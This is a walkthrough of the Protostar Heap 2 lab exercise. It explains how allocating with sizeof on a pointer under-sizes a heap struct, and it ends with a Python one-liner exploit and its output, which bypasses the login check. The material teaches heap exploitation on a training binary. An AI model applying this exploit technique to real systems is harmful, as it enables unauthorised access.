Exploit Exercises — Protostar Heap 2
There are a few interesting things here. The first one is in this code:
if(strlen(line + 5) < 31) {
strcpy(auth->name, line + 5);
}
We see that the length of line
parameter is checked. That means we cannot just overflow auth->name
.
The second one is in this code:
auth = malloc(sizeof(auth));
When malloc()
reserves space, it uses sizeof(auth)
. However auth
is a pointer. Thus, it uses a size of an address of the structure instead of the structure itself. It should be sizeof(struct auth)
.
You can make sure, that the addresses increased by 0x10
each time we allocate new memory by calling auth
:
auth a
[ auth = 0x804c008, service = (nil) ]
auth a
[ auth = 0x804c018, service = (nil) ]
0x10
is a space needed for:
- a chunk header
auth
space which is just 4 bytes in our case- a padding for aligning an allocated memory on an 8-byte boundary
To undersrand how an allocated memory looks, just use this picture:
We see the program uses strdup()
, which allocates a copy of a char*
on the heap. In other words it uses malloc()
in its internals. So we can use this function to allocate additional heap memory.
We need to construct a pseudo heap chunk as if it was 32 bytes allocated. Don’t forget to take into account a size of chunk header used by strdup()
. Then we need to write a variable right after it.
A little explanation to what is going to happen. We need our memory to look like this after execution:
auth chunk header [8]
-------------------------- chunk header --------------------------
auth chunk data [4]
padding to be aligned [4] /* remember that 0x10 */
---- end of auth ----
service chunk header [8]
service chunk data [16] /* 16 is a calculated value */
------------------------ 32 bytes of data ------------------------
auth [4]
Construct and run the exploit:
$ python -c "print 'auth a'+'\n'+'service'+'A'*16+'\xff'+'\n'+'login'" | ./heap2
[ auth = (nil), service = (nil) ]
[ auth = 0x804c008, service = (nil) ]
[ auth = 0x804c008, service = 0x804c018 ]
you have logged in already!
[ auth = 0x804c008, service = 0x804c018 ]